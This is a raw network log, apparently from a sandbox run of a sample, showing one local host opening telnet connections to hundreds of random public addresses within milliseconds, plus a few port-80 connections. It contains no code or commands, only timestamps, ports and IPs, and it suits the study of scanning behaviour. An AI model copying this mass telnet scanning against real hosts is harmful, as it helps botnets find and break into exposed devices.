Jan 30, 2025 10:43:05.402905941 CET	63367	23	192.168.2.14	171.253.129.20
Jan 30, 2025 10:43:05.402909994 CET	63367	23	192.168.2.14	222.46.184.137
Jan 30, 2025 10:43:05.402909994 CET	63367	23	192.168.2.14	72.142.201.191
Jan 30, 2025 10:43:05.402925968 CET	63367	23	192.168.2.14	147.96.212.235
Jan 30, 2025 10:43:05.402925968 CET	63367	23	192.168.2.14	138.190.25.148
Jan 30, 2025 10:43:05.402925968 CET	63367	23	192.168.2.14	134.21.204.241
Jan 30, 2025 10:43:05.402925968 CET	63367	23	192.168.2.14	195.146.255.65
Jan 30, 2025 10:43:05.402939081 CET	63367	23	192.168.2.14	197.231.39.33
Jan 30, 2025 10:43:05.402945042 CET	63367	23	192.168.2.14	131.127.56.57
Jan 30, 2025 10:43:05.402945042 CET	63367	23	192.168.2.14	61.52.183.223
Jan 30, 2025 10:43:05.402946949 CET	63367	23	192.168.2.14	138.218.243.180
Jan 30, 2025 10:43:05.402956963 CET	63367	23	192.168.2.14	113.234.178.228
Jan 30, 2025 10:43:05.402962923 CET	63367	23	192.168.2.14	167.186.228.196
Jan 30, 2025 10:43:05.402965069 CET	63367	23	192.168.2.14	66.123.189.130
Jan 30, 2025 10:43:05.402977943 CET	63367	23	192.168.2.14	176.103.228.71
Jan 30, 2025 10:43:05.402978897 CET	63367	23	192.168.2.14	139.39.254.237
Jan 30, 2025 10:43:05.402980089 CET	63367	23	192.168.2.14	123.14.206.129
Jan 30, 2025 10:43:05.402988911 CET	63367	23	192.168.2.14	102.179.35.131
Jan 30, 2025 10:43:05.403000116 CET	63367	23	192.168.2.14	69.164.126.225
Jan 30, 2025 10:43:05.403003931 CET	63367	23	192.168.2.14	189.110.150.225
Jan 30, 2025 10:43:05.403006077 CET	63367	23	192.168.2.14	117.210.113.90
Jan 30, 2025 10:43:05.403012991 CET	63367	23	192.168.2.14	204.227.12.8
Jan 30, 2025 10:43:05.403022051 CET	63367	23	192.168.2.14	102.241.138.180
Jan 30, 2025 10:43:05.403033018 CET	63367	23	192.168.2.14	48.253.218.214
Jan 30, 2025 10:43:05.403033972 CET	63367	23	192.168.2.14	179.103.211.52
Jan 30, 2025 10:43:05.403039932 CET	63367	23	192.168.2.14	61.42.37.23
Jan 30, 2025 10:43:05.403043032 CET	63367	23	192.168.2.14	64.170.231.111
Jan 30, 2025 10:43:05.403064013 CET	63367	23	192.168.2.14	64.142.11.109
Jan 30, 2025 10:43:05.403064013 CET	63367	23	192.168.2.14	186.243.98.161
Jan 30, 2025 10:43:05.403065920 CET	63367	23	192.168.2.14	120.82.167.202
Jan 30, 2025 10:43:05.403070927 CET	63367	23	192.168.2.14	1.124.136.203
Jan 30, 2025 10:43:05.403079987 CET	63367	23	192.168.2.14	137.40.92.94
Jan 30, 2025 10:43:05.403085947 CET	63367	23	192.168.2.14	124.191.152.189
Jan 30, 2025 10:43:05.403101921 CET	63367	23	192.168.2.14	187.15.35.244
Jan 30, 2025 10:43:05.403101921 CET	63367	23	192.168.2.14	47.29.164.6
Jan 30, 2025 10:43:05.403110027 CET	63367	23	192.168.2.14	64.38.31.118
Jan 30, 2025 10:43:05.403124094 CET	63367	23	192.168.2.14	173.232.251.5
Jan 30, 2025 10:43:05.403124094 CET	63367	23	192.168.2.14	222.236.26.17
Jan 30, 2025 10:43:05.403124094 CET	63367	23	192.168.2.14	207.99.184.106
Jan 30, 2025 10:43:05.403146029 CET	63367	23	192.168.2.14	204.115.202.131
Jan 30, 2025 10:43:05.403148890 CET	63367	23	192.168.2.14	130.76.150.254
Jan 30, 2025 10:43:05.403167963 CET	63367	23	192.168.2.14	64.178.222.146
Jan 30, 2025 10:43:05.403167963 CET	63367	23	192.168.2.14	128.169.58.92
Jan 30, 2025 10:43:05.403168917 CET	63367	23	192.168.2.14	156.67.165.53
Jan 30, 2025 10:43:05.403170109 CET	63367	23	192.168.2.14	136.109.20.175
Jan 30, 2025 10:43:05.403171062 CET	63367	23	192.168.2.14	173.121.157.211
Jan 30, 2025 10:43:05.403182983 CET	63367	23	192.168.2.14	199.229.206.185
Jan 30, 2025 10:43:05.403186083 CET	63367	23	192.168.2.14	157.90.187.161
Jan 30, 2025 10:43:05.403187037 CET	63367	23	192.168.2.14	119.9.33.100
Jan 30, 2025 10:43:05.403187037 CET	63367	23	192.168.2.14	116.95.82.206
Jan 30, 2025 10:43:05.403198004 CET	63367	23	192.168.2.14	194.134.101.21
Jan 30, 2025 10:43:05.403207064 CET	63367	23	192.168.2.14	181.162.52.246
Jan 30, 2025 10:43:05.403214931 CET	63367	23	192.168.2.14	121.12.223.72
Jan 30, 2025 10:43:05.403217077 CET	63367	23	192.168.2.14	92.160.184.192
Jan 30, 2025 10:43:05.403223038 CET	63367	23	192.168.2.14	177.226.78.2
Jan 30, 2025 10:43:05.403235912 CET	63367	23	192.168.2.14	211.157.150.0
Jan 30, 2025 10:43:05.403235912 CET	63367	23	192.168.2.14	76.139.73.115
Jan 30, 2025 10:43:05.403237104 CET	63367	23	192.168.2.14	184.169.168.81
Jan 30, 2025 10:43:05.403237104 CET	63367	23	192.168.2.14	70.150.14.195
Jan 30, 2025 10:43:05.403240919 CET	63367	23	192.168.2.14	82.153.4.236
Jan 30, 2025 10:43:05.403260946 CET	63367	23	192.168.2.14	92.224.190.44
Jan 30, 2025 10:43:05.403263092 CET	63367	23	192.168.2.14	102.110.73.180
Jan 30, 2025 10:43:05.403264999 CET	63367	23	192.168.2.14	144.103.142.195
Jan 30, 2025 10:43:05.406662941 CET	23	63367	47.206.189.2	192.168.2.14
Jan 30, 2025 10:43:05.406699896 CET	23	63367	5.219.216.9	192.168.2.14
Jan 30, 2025 10:43:05.406709909 CET	23	63367	93.246.93.187	192.168.2.14
Jan 30, 2025 10:43:05.406716108 CET	23	63367	49.56.12.150	192.168.2.14
Jan 30, 2025 10:43:05.406719923 CET	23	63367	223.35.190.150	192.168.2.14
Jan 30, 2025 10:43:05.406724930 CET	23	63367	105.132.126.49	192.168.2.14
Jan 30, 2025 10:43:05.406766891 CET	63367	23	192.168.2.14	47.206.189.2
Jan 30, 2025 10:43:05.406791925 CET	63367	23	192.168.2.14	5.219.216.9
Jan 30, 2025 10:43:05.406791925 CET	63367	23	192.168.2.14	49.56.12.150
Jan 30, 2025 10:43:05.406814098 CET	63367	23	192.168.2.14	93.246.93.187
Jan 30, 2025 10:43:05.406821012 CET	23	63367	204.209.200.94	192.168.2.14
Jan 30, 2025 10:43:05.406822920 CET	63367	23	192.168.2.14	105.132.126.49
Jan 30, 2025 10:43:05.406831026 CET	63367	23	192.168.2.14	223.35.190.150
Jan 30, 2025 10:43:05.406841040 CET	23	63367	32.185.50.3	192.168.2.14
Jan 30, 2025 10:43:05.406853914 CET	23	63367	117.21.101.85	192.168.2.14
Jan 30, 2025 10:43:05.406862974 CET	63367	23	192.168.2.14	204.209.200.94
Jan 30, 2025 10:43:05.406864882 CET	23	63367	194.213.161.55	192.168.2.14
Jan 30, 2025 10:43:05.406877995 CET	23	63367	186.67.49.30	192.168.2.14
Jan 30, 2025 10:43:05.406884909 CET	63367	23	192.168.2.14	32.185.50.3
Jan 30, 2025 10:43:05.406884909 CET	63367	23	192.168.2.14	117.21.101.85
Jan 30, 2025 10:43:05.406887054 CET	23	63367	103.100.49.209	192.168.2.14
Jan 30, 2025 10:43:05.406898975 CET	23	63367	191.204.28.53	192.168.2.14
Jan 30, 2025 10:43:05.406908035 CET	63367	23	192.168.2.14	194.213.161.55
Jan 30, 2025 10:43:05.406912088 CET	63367	23	192.168.2.14	186.67.49.30
Jan 30, 2025 10:43:05.406924009 CET	23	63367	77.51.244.241	192.168.2.14
Jan 30, 2025 10:43:05.406933069 CET	63367	23	192.168.2.14	103.100.49.209
Jan 30, 2025 10:43:05.406935930 CET	23	63367	193.238.51.192	192.168.2.14
Jan 30, 2025 10:43:05.406936884 CET	63367	23	192.168.2.14	191.204.28.53
Jan 30, 2025 10:43:05.406945944 CET	23	63367	187.192.19.253	192.168.2.14
Jan 30, 2025 10:43:05.406956911 CET	23	63367	109.231.127.152	192.168.2.14
Jan 30, 2025 10:43:05.406976938 CET	63367	23	192.168.2.14	77.51.244.241
Jan 30, 2025 10:43:05.406976938 CET	63367	23	192.168.2.14	193.238.51.192
Jan 30, 2025 10:43:05.406976938 CET	63367	23	192.168.2.14	187.192.19.253
Jan 30, 2025 10:43:05.406997919 CET	63367	23	192.168.2.14	109.231.127.152
Jan 30, 2025 10:43:05.419172049 CET	33646	80	192.168.2.14	202.243.9.93
Jan 30, 2025 10:43:05.423954964 CET	80	33646	202.243.9.93	192.168.2.14
Jan 30, 2025 10:43:05.424077034 CET	33646	80	192.168.2.14	202.243.9.93
Jan 30, 2025 10:43:05.424164057 CET	33646	80	192.168.2.14	202.243.9.93
Jan 30, 2025 10:43:05.429102898 CET	80	33646	202.243.9.93	192.168.2.14
Jan 30, 2025 10:43:05.429184914 CET	33646	80	192.168.2.14	202.243.9.93
Jan 30, 2025 10:43:05.451241970 CET	45448	80	192.168.2.14	119.27.8.73
Jan 30, 2025 10:43:05.456027985 CET	80	45448	119.27.8.73	192.168.2.14
Jan 30, 2025 10:43:05.456139088 CET	45448	80	192.168.2.14	119.27.8.73
Jan 30, 2025 10:43:05.456305981 CET	45448	80	192.168.2.14	119.27.8.73
Jan 30, 2025 10:43:05.461256981 CET	80	45448	119.27.8.73	192.168.2.14
Jan 30, 2025 10:43:05.461353064 CET	45448	80	192.168.2.14	119.27.8.73
Jan 30, 2025 10:43:05.483151913 CET	39384	80	192.168.2.14	91.92.249.234
Jan 30, 2025 10:43:05.483156919 CET	49402	80	192.168.2.14	219.124.101.191
Jan 30, 2025 10:43:05.483165979 CET	42280	80	192.168.2.14	32.243.4.33
Jan 30, 2025 10:43:05.488030910 CET	80	39384	91.92.249.234	192.168.2.14
Jan 30, 2025 10:43:05.488048077 CET	80	49402	219.124.101.191	192.168.2.14
Jan 30, 2025 10:43:05.488058090 CET	80	42280	32.243.4.33	192.168.2.14
Jan 30, 2025 10:43:05.488125086 CET	39384	80	192.168.2.14	91.92.249.234
Jan 30, 2025 10:43:05.488128901 CET	49402	80	192.168.2.14	219.124.101.191
Jan 30, 2025 10:43:05.488137007 CET	42280	80	192.168.2.14	32.243.4.33
Jan 30, 2025 10:43:05.488204956 CET	42280	80	192.168.2.14	32.243.4.33
Jan 30, 2025 10:43:05.488218069 CET	49402	80	192.168.2.14	219.124.101.191
Jan 30, 2025 10:43:05.488224983 CET	39384	80	192.168.2.14	91.92.249.234
Jan 30, 2025 10:43:05.493201971 CET	80	39384	91.92.249.234	192.168.2.14
Jan 30, 2025 10:43:05.493267059 CET	39384	80	192.168.2.14	91.92.249.234
Jan 30, 2025 10:43:05.493428946 CET	80	42280	32.243.4.33	192.168.2.14
Jan 30, 2025 10:43:05.493482113 CET	42280	80	192.168.2.14	32.243.4.33
Jan 30, 2025 10:43:05.493632078 CET	80	49402	219.124.101.191	192.168.2.14
Jan 30, 2025 10:43:05.493674994 CET	49402	80	192.168.2.14	219.124.101.191
Jan 30, 2025 10:43:06.004592896 CET	23	47980	153.215.19.51	192.168.2.14
Jan 30, 2025 10:43:06.004966021 CET	47980	23	192.168.2.14	153.215.19.51
Jan 30, 2025 10:43:06.005640984 CET	48154	23	192.168.2.14	153.215.19.51
Jan 30, 2025 10:43:06.006285906 CET	63367	23	192.168.2.14	148.63.164.233
Jan 30, 2025 10:43:06.006287098 CET	63367	23	192.168.2.14	79.0.168.61
Jan 30, 2025 10:43:06.006302118 CET	63367	23	192.168.2.14	25.183.227.101
Jan 30, 2025 10:43:06.006309032 CET	63367	23	192.168.2.14	81.136.155.111
Jan 30, 2025 10:43:06.006320953 CET	63367	23	192.168.2.14	184.237.167.22
Jan 30, 2025 10:43:06.006334066 CET	63367	23	192.168.2.14	46.74.53.33
Jan 30, 2025 10:43:06.006335020 CET	63367	23	192.168.2.14	223.128.7.23
Jan 30, 2025 10:43:06.006336927 CET	63367	23	192.168.2.14	173.86.98.242
Jan 30, 2025 10:43:06.006336927 CET	63367	23	192.168.2.14	196.123.128.100
Jan 30, 2025 10:43:06.006336927 CET	63367	23	192.168.2.14	159.178.101.59
Jan 30, 2025 10:43:06.006347895 CET	63367	23	192.168.2.14	208.249.181.67
Jan 30, 2025 10:43:06.006354094 CET	63367	23	192.168.2.14	159.168.109.147
Jan 30, 2025 10:43:06.006356001 CET	63367	23	192.168.2.14	92.98.117.29
Jan 30, 2025 10:43:06.006356955 CET	63367	23	192.168.2.14	66.42.235.178
Jan 30, 2025 10:43:06.006356955 CET	63367	23	192.168.2.14	27.232.195.54
Jan 30, 2025 10:43:06.006366968 CET	63367	23	192.168.2.14	100.51.228.98
Jan 30, 2025 10:43:06.006377935 CET	63367	23	192.168.2.14	174.101.15.29
Jan 30, 2025 10:43:06.006377935 CET	63367	23	192.168.2.14	140.126.29.36
Jan 30, 2025 10:43:06.006385088 CET	63367	23	192.168.2.14	57.55.102.88
Jan 30, 2025 10:43:06.006388903 CET	63367	23	192.168.2.14	165.250.254.248
Jan 30, 2025 10:43:06.006402016 CET	63367	23	192.168.2.14	86.254.37.215
Jan 30, 2025 10:43:06.006403923 CET	63367	23	192.168.2.14	212.240.126.191
Jan 30, 2025 10:43:06.006408930 CET	63367	23	192.168.2.14	178.238.254.175
Jan 30, 2025 10:43:06.006411076 CET	63367	23	192.168.2.14	218.35.244.122
Jan 30, 2025 10:43:06.006417990 CET	63367	23	192.168.2.14	196.106.55.64
Jan 30, 2025 10:43:06.006428957 CET	63367	23	192.168.2.14	81.223.194.125
Jan 30, 2025 10:43:06.006431103 CET	63367	23	192.168.2.14	139.176.41.227
Jan 30, 2025 10:43:06.006432056 CET	63367	23	192.168.2.14	144.131.169.154
Jan 30, 2025 10:43:06.006432056 CET	63367	23	192.168.2.14	217.111.164.201
Jan 30, 2025 10:43:06.006443024 CET	63367	23	192.168.2.14	217.20.252.38
Jan 30, 2025 10:43:06.006443977 CET	63367	23	192.168.2.14	114.68.122.118
Jan 30, 2025 10:43:06.006447077 CET	63367	23	192.168.2.14	46.91.207.21
Jan 30, 2025 10:43:06.006447077 CET	63367	23	192.168.2.14	8.39.68.195
Jan 30, 2025 10:43:06.006452084 CET	63367	23	192.168.2.14	51.76.56.75
Jan 30, 2025 10:43:06.006465912 CET	63367	23	192.168.2.14	57.148.112.232
Jan 30, 2025 10:43:06.006467104 CET	63367	23	192.168.2.14	222.246.165.134
Jan 30, 2025 10:43:06.006473064 CET	63367	23	192.168.2.14	80.214.211.213
Jan 30, 2025 10:43:06.006480932 CET	63367	23	192.168.2.14	135.141.233.40
Jan 30, 2025 10:43:06.006490946 CET	63367	23	192.168.2.14	38.254.8.183
Jan 30, 2025 10:43:06.006496906 CET	63367	23	192.168.2.14	200.106.15.251
Jan 30, 2025 10:43:06.006500959 CET	63367	23	192.168.2.14	61.33.123.225
Jan 30, 2025 10:43:06.006501913 CET	63367	23	192.168.2.14	187.21.151.233
Jan 30, 2025 10:43:06.006503105 CET	63367	23	192.168.2.14	217.173.135.150
Jan 30, 2025 10:43:06.006519079 CET	63367	23	192.168.2.14	213.65.200.61
Jan 30, 2025 10:43:06.006522894 CET	63367	23	192.168.2.14	169.186.28.88
Jan 30, 2025 10:43:06.006522894 CET	63367	23	192.168.2.14	79.80.191.201
Jan 30, 2025 10:43:06.006537914 CET	63367	23	192.168.2.14	85.169.104.199
Jan 30, 2025 10:43:06.006544113 CET	63367	23	192.168.2.14	201.22.168.113
Jan 30, 2025 10:43:06.006547928 CET	63367	23	192.168.2.14	168.109.49.193
Jan 30, 2025 10:43:06.006550074 CET	63367	23	192.168.2.14	101.10.235.31
Jan 30, 2025 10:43:06.006562948 CET	63367	23	192.168.2.14	133.112.109.230
Jan 30, 2025 10:43:06.006562948 CET	63367	23	192.168.2.14	117.61.64.23
Jan 30, 2025 10:43:06.006577969 CET	63367	23	192.168.2.14	188.125.197.238
Jan 30, 2025 10:43:06.006580114 CET	63367	23	192.168.2.14	14.151.240.160
Jan 30, 2025 10:43:06.006592989 CET	63367	23	192.168.2.14	174.203.4.70
Jan 30, 2025 10:43:06.006592989 CET	63367	23	192.168.2.14	132.83.204.190
Jan 30, 2025 10:43:06.006597042 CET	63367	23	192.168.2.14	219.124.29.19
Jan 30, 2025 10:43:06.006597996 CET	63367	23	192.168.2.14	154.178.213.82
Jan 30, 2025 10:43:06.006608009 CET	63367	23	192.168.2.14	54.201.169.188
Jan 30, 2025 10:43:06.006619930 CET	63367	23	192.168.2.14	157.143.72.1
Jan 30, 2025 10:43:06.006619930 CET	63367	23	192.168.2.14	99.137.164.15
Jan 30, 2025 10:43:06.006622076 CET	63367	23	192.168.2.14	218.100.192.160
Jan 30, 2025 10:43:06.006630898 CET	63367	23	192.168.2.14	69.237.141.68
Jan 30, 2025 10:43:06.006640911 CET	63367	23	192.168.2.14	148.175.174.11
Jan 30, 2025 10:43:06.006643057 CET	63367	23	192.168.2.14	211.14.126.54
Jan 30, 2025 10:43:06.006643057 CET	63367	23	192.168.2.14	94.5.10.65
Jan 30, 2025 10:43:06.006650925 CET	63367	23	192.168.2.14	142.81.179.140
Jan 30, 2025 10:43:06.006659985 CET	63367	23	192.168.2.14	19.134.225.81
Jan 30, 2025 10:43:06.006673098 CET	63367	23	192.168.2.14	32.136.127.206
Jan 30, 2025 10:43:06.006673098 CET	63367	23	192.168.2.14	165.167.8.214
Jan 30, 2025 10:43:06.006675005 CET	63367	23	192.168.2.14	167.131.82.136
Jan 30, 2025 10:43:06.006680012 CET	63367	23	192.168.2.14	212.135.17.248
Jan 30, 2025 10:43:06.006680012 CET	63367	23	192.168.2.14	143.207.95.71
Jan 30, 2025 10:43:06.006683111 CET	63367	23	192.168.2.14	110.113.232.54
Jan 30, 2025 10:43:06.006683111 CET	63367	23	192.168.2.14	90.227.161.120
Jan 30, 2025 10:43:06.006699085 CET	63367	23	192.168.2.14	85.236.63.11
Jan 30, 2025 10:43:06.006700993 CET	63367	23	192.168.2.14	99.146.8.206
Jan 30, 2025 10:43:06.006700993 CET	63367	23	192.168.2.14	199.12.202.55
Jan 30, 2025 10:43:06.006715059 CET	63367	23	192.168.2.14	187.242.220.9
Jan 30, 2025 10:43:06.006721020 CET	63367	23	192.168.2.14	213.118.135.50
Jan 30, 2025 10:43:06.006721020 CET	63367	23	192.168.2.14	102.160.167.20
Jan 30, 2025 10:43:06.006730080 CET	63367	23	192.168.2.14	183.176.188.168
Jan 30, 2025 10:43:06.006737947 CET	63367	23	192.168.2.14	17.26.40.125
Jan 30, 2025 10:43:06.006738901 CET	63367	23	192.168.2.14	98.200.7.179
Jan 30, 2025 10:43:06.006738901 CET	63367	23	192.168.2.14	145.151.57.243
Jan 30, 2025 10:43:06.006750107 CET	63367	23	192.168.2.14	98.58.210.31
Jan 30, 2025 10:43:06.006756067 CET	63367	23	192.168.2.14	147.243.155.9
Jan 30, 2025 10:43:06.006762981 CET	63367	23	192.168.2.14	92.109.41.60
Jan 30, 2025 10:43:06.006769896 CET	63367	23	192.168.2.14	210.2.228.200
Jan 30, 2025 10:43:06.006773949 CET	63367	23	192.168.2.14	204.232.106.22
Jan 30, 2025 10:43:06.006782055 CET	63367	23	192.168.2.14	92.188.25.254
Jan 30, 2025 10:43:06.006788015 CET	63367	23	192.168.2.14	198.180.95.243
Jan 30, 2025 10:43:06.006794930 CET	63367	23	192.168.2.14	23.28.69.34
Jan 30, 2025 10:43:06.006798029 CET	63367	23	192.168.2.14	142.139.172.114
Jan 30, 2025 10:43:06.006802082 CET	63367	23	192.168.2.14	222.133.77.219
Jan 30, 2025 10:43:06.006804943 CET	63367	23	192.168.2.14	42.110.219.185
Jan 30, 2025 10:43:06.006819010 CET	63367	23	192.168.2.14	73.169.54.30
Jan 30, 2025 10:43:06.006819963 CET	63367	23	192.168.2.14	191.62.19.56
Jan 30, 2025 10:43:06.006820917 CET	63367	23	192.168.2.14	200.30.141.159
Jan 30, 2025 10:43:06.006824017 CET	63367	23	192.168.2.14	143.64.204.174
Jan 30, 2025 10:43:06.006833076 CET	63367	23	192.168.2.14	138.109.162.47
Jan 30, 2025 10:43:06.006835938 CET	63367	23	192.168.2.14	59.171.42.156
Jan 30, 2025 10:43:06.006850004 CET	63367	23	192.168.2.14	79.155.193.39
Jan 30, 2025 10:43:06.006853104 CET	63367	23	192.168.2.14	50.249.252.130
Jan 30, 2025 10:43:06.006860018 CET	63367	23	192.168.2.14	200.142.46.203
Jan 30, 2025 10:43:06.006872892 CET	63367	23	192.168.2.14	46.240.125.126
Jan 30, 2025 10:43:06.006875992 CET	63367	23	192.168.2.14	118.123.196.210
Jan 30, 2025 10:43:06.006880045 CET	63367	23	192.168.2.14	68.245.159.153
Jan 30, 2025 10:43:06.006880045 CET	63367	23	192.168.2.14	212.57.46.157
Jan 30, 2025 10:43:06.006881952 CET	63367	23	192.168.2.14	24.71.138.26
Jan 30, 2025 10:43:06.006890059 CET	63367	23	192.168.2.14	187.209.215.103
Jan 30, 2025 10:43:06.006896973 CET	63367	23	192.168.2.14	25.169.225.222
Jan 30, 2025 10:43:06.006906986 CET	63367	23	192.168.2.14	137.191.209.5
Jan 30, 2025 10:43:06.006906986 CET	63367	23	192.168.2.14	134.243.255.195
Jan 30, 2025 10:43:06.006907940 CET	63367	23	192.168.2.14	217.27.35.91
Jan 30, 2025 10:43:06.006928921 CET	63367	23	192.168.2.14	117.11.75.198
Jan 30, 2025 10:43:06.006934881 CET	63367	23	192.168.2.14	67.94.208.96
Jan 30, 2025 10:43:06.006934881 CET	63367	23	192.168.2.14	156.156.158.102
Jan 30, 2025 10:43:06.006946087 CET	63367	23	192.168.2.14	113.197.131.122
Jan 30, 2025 10:43:06.006948948 CET	63367	23	192.168.2.14	120.250.41.241
Jan 30, 2025 10:43:06.006948948 CET	63367	23	192.168.2.14	87.167.26.70
Jan 30, 2025 10:43:06.006948948 CET	63367	23	192.168.2.14	89.1.70.139
Jan 30, 2025 10:43:06.006954908 CET	63367	23	192.168.2.14	74.173.250.6
Jan 30, 2025 10:43:06.006957054 CET	63367	23	192.168.2.14	67.58.183.203
Jan 30, 2025 10:43:06.006957054 CET	63367	23	192.168.2.14	144.29.17.204
Jan 30, 2025 10:43:06.006957054 CET	63367	23	192.168.2.14	75.233.95.206
Jan 30, 2025 10:43:06.006958961 CET	63367	23	192.168.2.14	200.89.43.65
Jan 30, 2025 10:43:06.006958961 CET	63367	23	192.168.2.14	212.5.125.17
Jan 30, 2025 10:43:06.006978035 CET	63367	23	192.168.2.14	121.234.148.52
Jan 30, 2025 10:43:06.006978989 CET	63367	23	192.168.2.14	82.167.247.176
Jan 30, 2025 10:43:06.006980896 CET	63367	23	192.168.2.14	74.178.92.178
Jan 30, 2025 10:43:06.006997108 CET	63367	23	192.168.2.14	197.111.75.130
Jan 30, 2025 10:43:06.006998062 CET	63367	23	192.168.2.14	105.190.90.101
Jan 30, 2025 10:43:06.006999016 CET	63367	23	192.168.2.14	24.16.53.34
Jan 30, 2025 10:43:06.007014036 CET	63367	23	192.168.2.14	87.189.148.224
Jan 30, 2025 10:43:06.007015944 CET	63367	23	192.168.2.14	4.45.146.152
Jan 30, 2025 10:43:06.007020950 CET	63367	23	192.168.2.14	119.122.34.254
Jan 30, 2025 10:43:06.007023096 CET	63367	23	192.168.2.14	204.101.229.25
Jan 30, 2025 10:43:06.007023096 CET	63367	23	192.168.2.14	66.162.211.113
Jan 30, 2025 10:43:06.007025003 CET	63367	23	192.168.2.14	87.152.239.104
Jan 30, 2025 10:43:06.007030010 CET	63367	23	192.168.2.14	76.31.110.164
Jan 30, 2025 10:43:06.007040024 CET	63367	23	192.168.2.14	34.54.24.172
Jan 30, 2025 10:43:06.007050037 CET	63367	23	192.168.2.14	49.7.137.152
Jan 30, 2025 10:43:06.007050991 CET	63367	23	192.168.2.14	90.35.252.31
Jan 30, 2025 10:43:06.007055044 CET	63367	23	192.168.2.14	62.196.122.204
Jan 30, 2025 10:43:06.007061958 CET	63367	23	192.168.2.14	23.133.253.133
Jan 30, 2025 10:43:06.007061958 CET	63367	23	192.168.2.14	156.201.173.84
Jan 30, 2025 10:43:06.007067919 CET	63367	23	192.168.2.14	18.191.93.106
Jan 30, 2025 10:43:06.007091999 CET	63367	23	192.168.2.14	108.19.59.123
Jan 30, 2025 10:43:06.007091999 CET	63367	23	192.168.2.14	72.180.75.245
Jan 30, 2025 10:43:06.007095098 CET	63367	23	192.168.2.14	174.235.112.17
Jan 30, 2025 10:43:06.007107019 CET	63367	23	192.168.2.14	160.233.226.130
Jan 30, 2025 10:43:06.007107973 CET	63367	23	192.168.2.14	217.136.118.63
Jan 30, 2025 10:43:06.007108927 CET	63367	23	192.168.2.14	202.80.80.159
Jan 30, 2025 10:43:06.007116079 CET	63367	23	192.168.2.14	49.129.54.142
Jan 30, 2025 10:43:06.007121086 CET	63367	23	192.168.2.14	76.157.205.195
Jan 30, 2025 10:43:06.007126093 CET	63367	23	192.168.2.14	167.206.125.128
Jan 30, 2025 10:43:06.007134914 CET	63367	23	192.168.2.14	167.199.124.248
Jan 30, 2025 10:43:06.007139921 CET	63367	23	192.168.2.14	189.165.246.42
Jan 30, 2025 10:43:06.007150888 CET	63367	23	192.168.2.14	173.25.21.195
Jan 30, 2025 10:43:06.007155895 CET	63367	23	192.168.2.14	89.63.156.154
Jan 30, 2025 10:43:06.007155895 CET	63367	23	192.168.2.14	129.115.15.121
Jan 30, 2025 10:43:06.007174969 CET	63367	23	192.168.2.14	14.83.66.194
Jan 30, 2025 10:43:06.007174969 CET	63367	23	192.168.2.14	106.41.239.115
Jan 30, 2025 10:43:06.007174969 CET	63367	23	192.168.2.14	133.196.136.46
Jan 30, 2025 10:43:06.007183075 CET	63367	23	192.168.2.14	84.36.86.250
Jan 30, 2025 10:43:06.007195950 CET	63367	23	192.168.2.14	70.137.66.134
Jan 30, 2025 10:43:06.007201910 CET	63367	23	192.168.2.14	192.248.204.157
Jan 30, 2025 10:43:06.007204056 CET	63367	23	192.168.2.14	60.45.184.4
Jan 30, 2025 10:43:06.007220030 CET	63367	23	192.168.2.14	78.197.63.229
Jan 30, 2025 10:43:06.007221937 CET	63367	23	192.168.2.14	71.2.124.65
Jan 30, 2025 10:43:06.007227898 CET	63367	23	192.168.2.14	76.16.68.167
Jan 30, 2025 10:43:06.007234097 CET	63367	23	192.168.2.14	34.4.74.142
Jan 30, 2025 10:43:06.007236958 CET	63367	23	192.168.2.14	152.241.148.58
Jan 30, 2025 10:43:06.007244110 CET	63367	23	192.168.2.14	151.18.132.171
Jan 30, 2025 10:43:06.007251024 CET	63367	23	192.168.2.14	176.204.250.71
Jan 30, 2025 10:43:06.007251978 CET	63367	23	192.168.2.14	171.122.38.166
Jan 30, 2025 10:43:06.007261992 CET	63367	23	192.168.2.14	181.39.134.211
Jan 30, 2025 10:43:06.007265091 CET	63367	23	192.168.2.14	186.183.183.133
Jan 30, 2025 10:43:06.007270098 CET	63367	23	192.168.2.14	9.215.131.98
Jan 30, 2025 10:43:06.007281065 CET	63367	23	192.168.2.14	188.117.218.193
Jan 30, 2025 10:43:06.007286072 CET	63367	23	192.168.2.14	189.184.67.163
Jan 30, 2025 10:43:06.007287025 CET	63367	23	192.168.2.14	65.248.143.67
Jan 30, 2025 10:43:06.007291079 CET	63367	23	192.168.2.14	83.43.137.234
Jan 30, 2025 10:43:06.007291079 CET	63367	23	192.168.2.14	31.114.17.131
Jan 30, 2025 10:43:06.007297039 CET	63367	23	192.168.2.14	38.234.172.33
Jan 30, 2025 10:43:06.007318974 CET	63367	23	192.168.2.14	184.52.155.106
Jan 30, 2025 10:43:06.007323980 CET	63367	23	192.168.2.14	195.132.237.174
Jan 30, 2025 10:43:06.007324934 CET	63367	23	192.168.2.14	190.23.77.144
Jan 30, 2025 10:43:06.007332087 CET	63367	23	192.168.2.14	137.72.164.199
Jan 30, 2025 10:43:06.007332087 CET	63367	23	192.168.2.14	194.152.34.210
Jan 30, 2025 10:43:06.007332087 CET	63367	23	192.168.2.14	5.175.166.77
Jan 30, 2025 10:43:06.007332087 CET	63367	23	192.168.2.14	101.226.101.152
Jan 30, 2025 10:43:06.007337093 CET	63367	23	192.168.2.14	198.174.177.90
Jan 30, 2025 10:43:06.007345915 CET	63367	23	192.168.2.14	171.145.89.118
Jan 30, 2025 10:43:06.007355928 CET	63367	23	192.168.2.14	195.232.196.39
Jan 30, 2025 10:43:06.007360935 CET	63367	23	192.168.2.14	99.93.89.125
Jan 30, 2025 10:43:06.007371902 CET	63367	23	192.168.2.14	34.64.133.76
Jan 30, 2025 10:43:06.007373095 CET	63367	23	192.168.2.14	19.238.17.183
Jan 30, 2025 10:43:06.007376909 CET	63367	23	192.168.2.14	44.141.22.212
Jan 30, 2025 10:43:06.007388115 CET	63367	23	192.168.2.14	138.164.160.129
Jan 30, 2025 10:43:06.007391930 CET	63367	23	192.168.2.14	173.232.3.119
Jan 30, 2025 10:43:06.007400036 CET	63367	23	192.168.2.14	99.81.128.241
Jan 30, 2025 10:43:06.007409096 CET	63367	23	192.168.2.14	181.4.116.109
Jan 30, 2025 10:43:06.007412910 CET	63367	23	192.168.2.14	20.138.236.115
Jan 30, 2025 10:43:06.007419109 CET	63367	23	192.168.2.14	99.247.242.210
Jan 30, 2025 10:43:06.007420063 CET	63367	23	192.168.2.14	84.134.62.239
Jan 30, 2025 10:43:06.007433891 CET	63367	23	192.168.2.14	9.81.219.194
Jan 30, 2025 10:43:06.007433891 CET	63367	23	192.168.2.14	122.243.142.136
Jan 30, 2025 10:43:06.007437944 CET	63367	23	192.168.2.14	25.202.189.164
